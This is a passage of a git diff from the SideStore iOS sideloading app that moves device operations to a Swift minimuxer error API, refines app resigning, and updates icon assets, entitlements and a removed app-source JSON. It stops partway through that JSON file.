installedApp.refreshedDate = Date()
|
||||
self.finish(.success(installedApp))
|
||||
}
|
||||
#else
|
||||
try install_ipa(installedApp.bundleIdentifier)
|
||||
installing = false
|
||||
installedApp.refreshedDate = Date()
|
||||
self.finish(.success(installedApp))
|
||||
|
||||
} else {
|
||||
self.finish(.failure(minimuxer_to_operation(code: res)))
|
||||
#endif
|
||||
} catch let error {
|
||||
installing = false
|
||||
self.finish(.failure(error))
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -174,10 +258,11 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
|
||||
do
|
||||
{
|
||||
try FileManager.default.removeItem(at: fileURL)
|
||||
print("Removed refreshed IPA")
|
||||
}
|
||||
catch
|
||||
{
|
||||
print("Failed to remove refreshed .ipa:", error)
|
||||
print("Failed to remove refreshed .ipa: \(error)")
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -8,6 +8,7 @@
|
||||
|
||||
import Foundation
|
||||
import AltSign
|
||||
import minimuxer
|
||||
|
||||
enum OperationError: LocalizedError
|
||||
{
|
||||
@@ -33,18 +34,15 @@ enum OperationError: LocalizedError
|
||||
case openAppFailed(name: String)
|
||||
case missingAppGroup
|
||||
|
||||
case noDevice
|
||||
case createService(name: String)
|
||||
case getFromDevice(name: String)
|
||||
case setArgument(name: String)
|
||||
case afc
|
||||
case install
|
||||
case uninstall
|
||||
case lookupApps
|
||||
case detach
|
||||
case functionArguments
|
||||
case profileInstall
|
||||
case noConnection
|
||||
case noWiFi
|
||||
case tooNewError
|
||||
case anisetteV1Error(message: String)
|
||||
case provisioningError(result: String, message: String?)
|
||||
case anisetteV3Error(message: String)
|
||||
|
||||
case mdcExploitFailed
|
||||
|
||||
case cacheClearError(errors: [String])
|
||||
|
||||
var failureReason: String? {
|
||||
switch self {
|
||||
@@ -61,18 +59,13 @@ enum OperationError: LocalizedError
|
||||
case .openAppFailed(let name): return String(format: NSLocalizedString("SideStore was denied permission to launch %@.", comment: ""), name)
|
||||
case .missingAppGroup: return NSLocalizedString("SideStore's shared app group could not be found.", comment: "")
|
||||
case .maximumAppIDLimitReached: return NSLocalizedString("Cannot register more than 10 App IDs.", comment: "")
|
||||
case .noDevice: return NSLocalizedString("Cannot fetch the device from the muxer", comment: "")
|
||||
case .createService(let name): return String(format: NSLocalizedString("Cannot start a %@ server on the device.", comment: ""), name)
|
||||
case .getFromDevice(let name): return String(format: NSLocalizedString("Cannot fetch %@ from the device.", comment: ""), name)
|
||||
case .setArgument(let name): return String(format: NSLocalizedString("Cannot set %@ on the device.", comment: ""), name)
|
||||
case .afc: return NSLocalizedString("AFC was unable to manage files on the device", comment: "")
|
||||
case .install: return NSLocalizedString("Unable to install the app from the staging directory", comment: "")
|
||||
case .uninstall: return NSLocalizedString("Unable to uninstall the app", comment: "")
|
||||
case .lookupApps: return NSLocalizedString("Unable to fetch apps from the device", comment: "")
|
||||
case .detach: return NSLocalizedString("Unable to detach from the app's process", comment: "")
|
||||
case .functionArguments: return NSLocalizedString("A function was passed invalid arguments", comment: "")
|
||||
case .profileInstall: return NSLocalizedString("Unable to manage profiles on the device", comment: "")
|
||||
case .noConnection: return NSLocalizedString("Unable to connect to the device, make sure Wireguard is enabled and you're connected to WiFi", comment: "")
|
||||
case .noWiFi: return NSLocalizedString("You do not appear to be connected to WiFi!\nSideStore will never be able to install or refresh applications without WiFi.", comment: "")
|
||||
case .tooNewError: return NSLocalizedString("iOS 17 has changed how JIT is enabled therefore SideStore cannot enable it at this time, sorry for any inconvenience.\nWe will let everyone know once we have a solution!", comment: "")
|
||||
case .anisetteV1Error(let message): return String(format: NSLocalizedString("An error occurred when getting anisette data from a V1 server: %@. Try using another anisette server.", comment: ""), message)
|
||||
case .provisioningError(let result, let message): return String(format: NSLocalizedString("An error occurred when provisioning: %@%@. Please try again. If the issue persists, report it on GitHub Issues!", comment: ""), result, message != nil ? (" (" + message! + ")") : "")
|
||||
case .anisetteV3Error(let message): return String(format: NSLocalizedString("An error occurred when getting anisette data from a V3 server: %@. Please try again. If the issue persists, report it on GitHub Issues!", comment: ""), message)
|
||||
case .mdcExploitFailed: return NSLocalizedString("An error occured while running MDC exploit, try disabling it in settings", comment: "")
|
||||
case .cacheClearError(let errors): return String(format: NSLocalizedString("An error occurred while clearing cache: %@", comment: ""), errors.joined(separator: "\n"))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -118,49 +111,66 @@ enum OperationError: LocalizedError
|
||||
}
|
||||
}
|
||||
|
||||
func minimuxer_to_operation(code: Int32) -> OperationError {
|
||||
switch code {
|
||||
case -1:
|
||||
return OperationError.noDevice
|
||||
case -2:
|
||||
return OperationError.createService(name: "debug")
|
||||
case -3:
|
||||
return OperationError.createService(name: "instproxy")
|
||||
case -4:
|
||||
return OperationError.getFromDevice(name: "installed apps")
|
||||
case -5:
|
||||
return OperationError.getFromDevice(name: "path to the app")
|
||||
case -6:
|
||||
return OperationError.getFromDevice(name: "bundle path")
|
||||
case -7:
|
||||
return OperationError.setArgument(name: "max packet")
|
||||
case -8:
|
||||
return OperationError.setArgument(name: "working directory")
|
||||
case -9:
|
||||
return OperationError.setArgument(name: "argv")
|
||||
case -10:
|
||||
return OperationError.getFromDevice(name: "launch success")
|
||||
case -11:
|
||||
return OperationError.detach
|
||||
case -12:
|
||||
return OperationError.functionArguments
|
||||
case -13:
|
||||
return OperationError.createService(name: "AFC")
|
||||
case -14:
|
||||
return OperationError.afc
|
||||
case -15:
|
||||
return OperationError.install
|
||||
case -16:
|
||||
return OperationError.uninstall
|
||||
case -17:
|
||||
return OperationError.createService(name: "misagent")
|
||||
case -18:
|
||||
return OperationError.profileInstall
|
||||
case -19:
|
||||
return OperationError.profileInstall
|
||||
case -20:
|
||||
return OperationError.noConnection
|
||||
default:
|
||||
return OperationError.unknown
|
||||
extension MinimuxerError: LocalizedError {
|
||||
public var failureReason: String? {
|
||||
switch self {
|
||||
case .NoDevice:
|
||||
return NSLocalizedString("Cannot fetch the device from the muxer", comment: "")
|
||||
case .NoConnection:
|
||||
return NSLocalizedString("Unable to connect to the device, make sure Wireguard is enabled and you're connected to WiFi", comment: "")
|
||||
case .PairingFile:
|
||||
return NSLocalizedString("Invalid pairing file. Your pairing file either didn't have a UDID, or it wasn't a valid plist. Please use jitterbugpair to generate it", comment: "")
|
||||
|
||||
case .CreateDebug:
|
||||
return self.createService(name: "debug")
|
||||
case .LookupApps:
|
||||
return self.getFromDevice(name: "installed apps")
|
||||
case .FindApp:
|
||||
return self.getFromDevice(name: "path to the app")
|
||||
case .BundlePath:
|
||||
return self.getFromDevice(name: "bundle path")
|
||||
case .MaxPacket:
|
||||
return self.setArgument(name: "max packet")
|
||||
case .WorkingDirectory:
|
||||
return self.setArgument(name: "working directory")
|
||||
case .Argv:
|
||||
return self.setArgument(name: "argv")
|
||||
case .LaunchSuccess:
|
||||
return self.getFromDevice(name: "launch success")
|
||||
case .Detach:
|
||||
return NSLocalizedString("Unable to detach from the app's process", comment: "")
|
||||
case .Attach:
|
||||
return NSLocalizedString("Unable to attach to the app's process", comment: "")
|
||||
|
||||
case .CreateInstproxy:
|
||||
return self.createService(name: "instproxy")
|
||||
case .CreateAfc:
|
||||
return self.createService(name: "AFC")
|
||||
case .RwAfc:
|
||||
return NSLocalizedString("AFC was unable to manage files on the device", comment: "")
|
||||
case .InstallApp(let message):
|
||||
return NSLocalizedString("Unable to install the app: \(message.toString())", comment: "")
|
||||
case .UninstallApp:
|
||||
return NSLocalizedString("Unable to uninstall the app", comment: "")
|
||||
|
||||
case .CreateMisagent:
|
||||
return self.createService(name: "misagent")
|
||||
case .ProfileInstall:
|
||||
return NSLocalizedString("Unable to manage profiles on the device", comment: "")
|
||||
case .ProfileRemove:
|
||||
return NSLocalizedString("Unable to manage profiles on the device", comment: "")
|
||||
}
|
||||
}
|
||||
|
||||
fileprivate func createService(name: String) -> String {
|
||||
return String(format: NSLocalizedString("Cannot start a %@ server on the device.", comment: ""), name)
|
||||
}
|
||||
|
||||
fileprivate func getFromDevice(name: String) -> String {
|
||||
return String(format: NSLocalizedString("Cannot fetch %@ from the device.", comment: ""), name)
|
||||
}
|
||||
|
||||
fileprivate func setArgument(name: String) -> String {
|
||||
return String(format: NSLocalizedString("Cannot set %@ on the device.", comment: ""), name)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -35,34 +35,28 @@ final class RefreshAppOperation: ResultOperation<InstalledApp>
|
||||
|
||||
do
|
||||
{
|
||||
if let error = self.context.error
|
||||
{
|
||||
throw error
|
||||
}
|
||||
if let error = self.context.error { return self.finish(.failure(error)) }
|
||||
|
||||
guard let profiles = self.context.provisioningProfiles else { throw OperationError.invalidParameters }
|
||||
guard let profiles = self.context.provisioningProfiles else { return self.finish(.failure(OperationError.invalidParameters)) }
|
||||
guard let app = self.context.app else { return self.finish(.failure(OperationError.appNotFound)) }
|
||||
|
||||
guard let app = self.context.app else { throw OperationError.appNotFound }
|
||||
|
||||
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
|
||||
print("Sending refresh app request...")
|
||||
for p in profiles {
|
||||
do {
|
||||
let bytes = p.value.data.toRustByteSlice()
|
||||
try install_provisioning_profile(bytes.forRust())
|
||||
} catch {
|
||||
self.finish(.failure(MinimuxerError.ProfileInstall))
|
||||
}
|
||||
|
||||
for p in profiles {
|
||||
do {
|
||||
let x = try install_provisioning_profile(plist: p.value.data)
|
||||
if case .Bad(let code) = x {
|
||||
self.finish(.failure(minimuxer_to_operation(code: code)))
|
||||
}
|
||||
} catch Uhoh.Bad(let code) {
|
||||
self.finish(.failure(minimuxer_to_operation(code: code)))
|
||||
} catch {
|
||||
self.finish(.failure(OperationError.unknown))
|
||||
}
|
||||
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
|
||||
print("Sending refresh app request...")
|
||||
|
||||
self.progress.completedUnitCount += 1
|
||||
|
||||
let predicate = NSPredicate(format: "%K == %@", #keyPath(InstalledApp.bundleIdentifier), app.bundleIdentifier)
|
||||
self.managedObjectContext.perform {
|
||||
guard let installedApp = InstalledApp.first(satisfying: predicate, in: self.managedObjectContext) else {
|
||||
self.finish(.failure(OperationError.appNotFound))
|
||||
return
|
||||
}
|
||||
installedApp.update(provisioningProfile: p.value)
|
||||
@@ -75,9 +69,5 @@ final class RefreshAppOperation: ResultOperation<InstalledApp>
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
self.finish(.failure(error))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -39,15 +39,11 @@ final class RemoveAppOperation: ResultOperation<InstalledApp>
|
||||
let resignedBundleIdentifier = installedApp.resignedBundleIdentifier
|
||||
|
||||
do {
|
||||
let res = try remove_app(app_id: resignedBundleIdentifier)
|
||||
if case Uhoh.Bad(let code) = res {
|
||||
self.finish(.failure(minimuxer_to_operation(code: code)))
|
||||
}
|
||||
} catch Uhoh.Bad(let code) {
|
||||
self.finish(.failure(minimuxer_to_operation(code: code)))
|
||||
try remove_app(resignedBundleIdentifier)
|
||||
} catch {
|
||||
self.finish(.failure(ALTServerError(.appDeletionFailed)))
|
||||
return self.finish(.failure(error))
|
||||
}
|
||||
|
||||
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
|
||||
self.progress.completedUnitCount += 1
|
||||
|
||||
|
||||
@@ -11,6 +11,7 @@ import Roxas
|
||||
|
||||
import AltStoreCore
|
||||
import AltSign
|
||||
import minimuxer
|
||||
|
||||
@objc(ResignAppOperation)
|
||||
final class ResignAppOperation: ResultOperation<ALTApplication>
|
||||
@@ -61,6 +62,7 @@ final class ResignAppOperation: ResultOperation<ALTApplication>
|
||||
{
|
||||
let destinationURL = InstalledApp.refreshedIPAURL(for: app)
|
||||
try FileManager.default.copyItem(at: resignedURL, to: destinationURL, shouldReplace: true)
|
||||
print("Successfully resigned app to \(destinationURL.absoluteString)")
|
||||
|
||||
// Use appBundleURL since we need an app bundle, not .ipa.
|
||||
guard let resignedApplication = ALTApplication(fileURL: appBundleURL) else { throw OperationError.invalidApp }
|
||||
@@ -147,6 +149,14 @@ private extension ResignAppOperation
|
||||
infoDictionary[Bundle.Info.exportedUTIs] = exportedUTIs
|
||||
|
||||
try (infoDictionary as NSDictionary).write(to: bundle.infoPlistURL)
|
||||
|
||||
// Remove _CodeSignature folder (if it exists) because it will be added when resigning and it may have files that aren't overwritten when resigning
|
||||
// These files might be the cause of some ApplicationVerificationFailed errors
|
||||
let codeSignaturePath = bundle.bundleURL.appendingPathComponent("_CodeSignature").absoluteString.replacingOccurrences(of: "file://", with: "")
|
||||
if FileManager.default.fileExists(atPath: codeSignaturePath) {
|
||||
try FileManager.default.removeItem(atPath: codeSignaturePath)
|
||||
print("Removed _CodeSignature folder at \(codeSignaturePath)")
|
||||
}
|
||||
}
|
||||
|
||||
DispatchQueue.global().async {
|
||||
@@ -172,7 +182,7 @@ private extension ResignAppOperation
|
||||
|
||||
if app.isAltStoreApp
|
||||
{
|
||||
guard let udid = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.deviceID) as? String else { throw OperationError.unknownUDID }
|
||||
guard let udid = fetch_udid()?.toString() as? String else { throw OperationError.unknownUDID }
|
||||
guard let pairingFileString = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.devicePairingString) as? String else { throw OperationError.unknownUDID }
|
||||
additionalValues[Bundle.Info.devicePairingString] = pairingFileString
|
||||
additionalValues[Bundle.Info.deviceID] = udid
|
||||
@@ -193,7 +203,7 @@ private extension ResignAppOperation
|
||||
// The embedded certificate + certificate identifier are already in app bundle, no need to update them.
|
||||
}
|
||||
}
|
||||
else if infoDictionary.keys.contains(Bundle.Info.deviceID), let udid = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.deviceID) as? String
|
||||
else if infoDictionary.keys.contains(Bundle.Info.deviceID), let udid = fetch_udid()?.toString() as? String
|
||||
{
|
||||
// There is an ALTDeviceID entry, so assume the app is using AltKit and replace it with the device's UDID.
|
||||
additionalValues[Bundle.Info.deviceID] = udid
|
||||
@@ -218,6 +228,7 @@ private extension ResignAppOperation
|
||||
|
||||
// Prepare app
|
||||
try prepare(appBundle, additionalInfoDictionaryValues: additionalValues)
|
||||
try self.removeMissingAppExtensionReferences(from: appBundle)
|
||||
|
||||
if let directory = appBundle.builtInPlugInsURL, let enumerator = FileManager.default.enumerator(at: directory, includingPropertiesForKeys: nil, options: [.skipsSubdirectoryDescendants])
|
||||
{
|
||||
@@ -258,4 +269,28 @@ private extension ResignAppOperation
|
||||
|
||||
return progress
|
||||
}
|
||||
|
||||
func removeMissingAppExtensionReferences(from bundle: Bundle) throws
|
||||
{
|
||||
// If app extensions have been removed from an app (either by AltStore or the developer),
|
||||
// we must remove all references to them from SC_Info/Manifest.plist (if it exists).
|
||||
|
||||
let scInfoURL = bundle.bundleURL.appendingPathComponent("SC_Info")
|
||||
let manifestPlistURL = scInfoURL.appendingPathComponent("Manifest.plist")
|
||||
|
||||
guard let manifestPlist = NSMutableDictionary(contentsOf: manifestPlistURL), let sinfReplicationPaths = manifestPlist["SinfReplicationPaths"] as? [String] else { return }
|
||||
|
||||
// Remove references to missing files.
|
||||
let filteredReplicationPaths = sinfReplicationPaths.filter { path in
|
||||
guard let fileURL = URL(string: path, relativeTo: bundle.bundleURL) else { return false }
|
||||
|
||||
let fileExists = FileManager.default.fileExists(atPath: fileURL.path)
|
||||
return fileExists
|
||||
}
|
||||
|
||||
manifestPlist["SinfReplicationPaths"] = filteredReplicationPaths
|
||||
|
||||
// Save updated Manifest.plist to disk.
|
||||
try manifestPlist.write(to: manifestPlistURL)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -9,6 +9,7 @@ import Foundation
|
||||
import Network
|
||||
|
||||
import AltStoreCore
|
||||
import minimuxer
|
||||
|
||||
@objc(SendAppOperation)
|
||||
final class SendAppOperation: ResultOperation<()>
|
||||
@@ -32,8 +33,7 @@ final class SendAppOperation: ResultOperation<()>
|
||||
|
||||
if let error = self.context.error
|
||||
{
|
||||
self.finish(.failure(error))
|
||||
return
|
||||
return self.finish(.failure(error))
|
||||
}
|
||||
|
||||
guard let resignedApp = self.context.resignedApp else { return self.finish(.failure(OperationError.invalidParameters)) }
|
||||
@@ -44,25 +44,20 @@ final class SendAppOperation: ResultOperation<()>
|
||||
|
||||
print("AFC App `fileURL`: \(fileURL.absoluteString)")
|
||||
|
||||
let ns_bundle = NSString(string: app.bundleIdentifier)
|
||||
let ns_bundle_ptr = UnsafeMutablePointer<CChar>(mutating: ns_bundle.utf8String)
|
||||
|
||||
if let data = NSData(contentsOf: fileURL) {
|
||||
let pls = UnsafeMutablePointer<UInt8>.allocate(capacity: data.length)
|
||||
for (index, data) in data.enumerated() {
|
||||
pls[index] = data
|
||||
}
|
||||
let res = minimuxer_yeet_app_afc(ns_bundle_ptr, pls, UInt(data.length))
|
||||
if res == 0 {
|
||||
print("minimuxer_yeet_app_afc `res` == \(res)")
|
||||
do {
|
||||
let bytes = Data(data).toRustByteSlice()
|
||||
try yeet_app_afc(app.bundleIdentifier, bytes.forRust())
|
||||
self.progress.completedUnitCount += 1
|
||||
self.finish(.success(()))
|
||||
} catch {
|
||||
self.finish(.failure(MinimuxerError.RwAfc))
|
||||
self.progress.completedUnitCount += 1
|
||||
self.finish(.success(()))
|
||||
} else {
|
||||
self.finish(.failure(minimuxer_to_operation(code: res)))
|
||||
}
|
||||
|
||||
} else {
|
||||
self.finish(.failure(ALTServerError(.underlyingError)))
|
||||
print("IPA doesn't exist????")
|
||||
self.finish(.failure(OperationError.appNotFound))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1 +1,158 @@
|
||||
{"images":[{"size":"60x60","expected-size":"180","filename":"180.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"3x"},{"size":"40x40","expected-size":"80","filename":"80.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"2x"},{"size":"40x40","expected-size":"120","filename":"120.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"3x"},{"size":"60x60","expected-size":"120","filename":"120.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"2x"},{"size":"57x57","expected-size":"57","filename":"57.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"1x"},{"size":"29x29","expected-size":"58","filename":"58.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"2x"},{"size":"29x29","expected-size":"29","filename":"29.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"1x"},{"size":"29x29","expected-size":"87","filename":"87.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"3x"},{"size":"57x57","expected-size":"114","filename":"114.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"2x"},{"size":"20x20","expected-size":"40","filename":"40.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"2x"},{"size":"20x20","expected-size":"60","filename":"60.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"3x"},{"size":"1024x1024","filename":"1024.png","expected-size":"1024","idiom":"ios-marketing","folder":"Assets.xcassets/AppIcon.appiconset/","scale":"1x"},{"size":"40x40","expected-size":"80","filename":"80.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"2x"},{"size":"72x72","expected-size":"72","filename":"72.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"1x"},{"size":"76x76","expected-size":"152","filename":"152.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"2x"},{"size":"50x50","expected-size":"100","filename":"100.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"2x"},{"size":"29x29","expected-size":"58","filename":"58.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"2x"},{"size":"76x76","expected-size":"76","filename":"76.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"1x"},{"size":"29x29","expected-size":"29","filename":"29.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"1x"},{"size":"50x50","expected-size":"50","filename":"50.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"1x"},{"size":"72x72","expected-size":"144","filename":"144.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"2x"},{"size":"40x40","expected-size":"40","filename":"40.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"1x"},{"size":"83.5x83.5","expected-size":"167","filename":"167.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"2x"},{"size":"20x20","expected-size":"20","filename":"20.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"1x"},{"size":"20x20","expected-size":"40","filename":"40.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"2x"}]}
|
||||
{
|
||||
"images" : [
|
||||
{
|
||||
"filename" : "40.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "60.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "29.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "1x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "58.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "87.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "80.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "120.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "57.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "1x",
|
||||
"size" : "57x57"
|
||||
},
|
||||
{
|
||||
"filename" : "114.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "57x57"
|
||||
},
|
||||
{
|
||||
"filename" : "120.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "60x60"
|
||||
},
|
||||
{
|
||||
"filename" : "180.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "60x60"
|
||||
},
|
||||
{
|
||||
"filename" : "20.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "40.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "29.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "58.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "40.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "80.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "50.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "50x50"
|
||||
},
|
||||
{
|
||||
"filename" : "100.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "50x50"
|
||||
},
|
||||
{
|
||||
"filename" : "72.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "72x72"
|
||||
},
|
||||
{
|
||||
"filename" : "144.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "72x72"
|
||||
},
|
||||
{
|
||||
"filename" : "76.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "76x76"
|
||||
},
|
||||
{
|
||||
"filename" : "152.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "76x76"
|
||||
},
|
||||
{
|
||||
"filename" : "167.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "83.5x83.5"
|
||||
},
|
||||
{
|
||||
"filename" : "1024.png",
|
||||
"idiom" : "ios-marketing",
|
||||
"scale" : "1x",
|
||||
"size" : "1024x1024"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
{
|
||||
"images" : [
|
||||
{
|
||||
"filename" : "riley.jpg",
|
||||
"idiom" : "universal"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
|
Before Width: | Height: | Size: 73 KiB |
@@ -1,12 +0,0 @@
|
||||
{
|
||||
"images" : [
|
||||
{
|
||||
"filename" : "shane.jpeg",
|
||||
"idiom" : "universal"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
|
Before Width: | Height: | Size: 43 KiB |
BIN
AltStore/Resources/Assets.xcassets/SideStore.imageset/1024.png
vendored
Normal file
|
After Width: | Height: | Size: 846 KiB |
21
AltStore/Resources/Assets.xcassets/SideStore.imageset/Contents.json
vendored
Normal file
@@ -0,0 +1,21 @@
|
||||
{
|
||||
"images" : [
|
||||
{
|
||||
"filename" : "1024.png",
|
||||
"idiom" : "universal",
|
||||
"scale" : "1x"
|
||||
},
|
||||
{
|
||||
"idiom" : "universal",
|
||||
"scale" : "2x"
|
||||
},
|
||||
{
|
||||
"idiom" : "universal",
|
||||
"scale" : "3x"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
@@ -3,18 +3,18 @@
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>application-identifier</key>
|
||||
<string>A72ZC8AJ5X.com.SideStore.AltStore</string>
|
||||
<string>XYZ0123456.com.SideStore.SideStore</string>
|
||||
<key>aps-environment</key>
|
||||
<string>development</string>
|
||||
<key>com.apple.developer.siri</key>
|
||||
<true/>
|
||||
<key>com.apple.developer.team-identifier</key>
|
||||
<string>A72ZC8AJ5X</string>
|
||||
<string>XYZ0123456</string>
|
||||
<key>com.apple.security.application-groups</key>
|
||||
<array>
|
||||
<string>group.com.SideStore.AltStore</string>
|
||||
<string>group.com.SideStore.SideStore</string>
|
||||
</array>
|
||||
<key>get-task-allow</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
||||
</plist>
|
||||
@@ -1,269 +0,0 @@
|
||||
{
|
||||
"name": "AltStore",
|
||||
"identifier": "com.rileytestut.AltStore",
|
||||
"sourceURL": "https://cdn.altstore.io/file/altstore/apps.json",
|
||||
"apps": [
|
||||
{
|
||||
"name": "AltStore",
|
||||
"bundleIdentifier": "com.rileytestut.AltStore",
|
||||
"developerName": "Riley Testut",
|
||||
"version": "1.5.1",
|
||||
"versionDate": "2022-07-14T12:00:00-05:00",
|
||||
"versionDescription": "This update fixes the following issues:\n\n• Using Apple IDs that contain capital letters\n• Using Apple IDs with 2FA enabled without any trusted devices\n• Repeatedly asking some users to sign in every refresh\n• \"Incorrect Apple ID or password\" error after changing Apple ID email address\n• “Application is missing application-identifier” error when sideloading or (de-)activating certain apps\n• Potential crash when receiving unknown error codes from AltServer",
|
||||
"downloadURL": "https://cdn.altstore.io/file/altstore/apps/altstore/1_5_1.ipa",
|
||||
"localizedDescription": "AltStore is an alternative app store for non-jailbroken devices. \n\nThis version of AltStore allows you to install Delta, an all-in-one emulator for iOS, as well as sideload other .ipa files from the Files app.",
|
||||
"iconURL": "https://user-images.githubusercontent.com/705880/65270980-1eb96f80-dad1-11e9-9367-78ccd25ceb02.png",
|
||||
"tintColor": "018084",
|
||||
"size": 5465976,
|
||||
"screenshotURLs": [
|
||||
"https://user-images.githubusercontent.com/705880/78942028-acf54300-7a6d-11ea-821c-5bb7a9b3e73a.PNG",
|
||||
"https://user-images.githubusercontent.com/705880/78942222-0fe6da00-7a6e-11ea-9f2a-dda16157583c.PNG",
|
||||
"https://user-images.githubusercontent.com/705880/65605577-332cba80-df5e-11e9-9f00-b369ce974f71.PNG"
|
||||
],
|
||||
"permissions": [
|
||||
{
|
||||
"type": "background-fetch",
|
||||
"usageDescription": "AltStore periodically refreshes apps in the background to prevent them from expiring."
|
||||
},
|
||||
{
|
||||
"type": "background-audio",
|
||||
"usageDescription": "Allows AltStore to run longer than 30 seconds when refreshing apps in background."
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "AltStore",
|
||||
"bundleIdentifier": "com.rileytestut.AltStore.Beta",
|
||||
"developerName": "Riley Testut",
|
||||
"subtitle": "An alternative App Store for iOS.",
|
||||
"version": "1.6b2",
|
||||
"versionDate": "2022-09-21T13:00:00-05:00",
|
||||
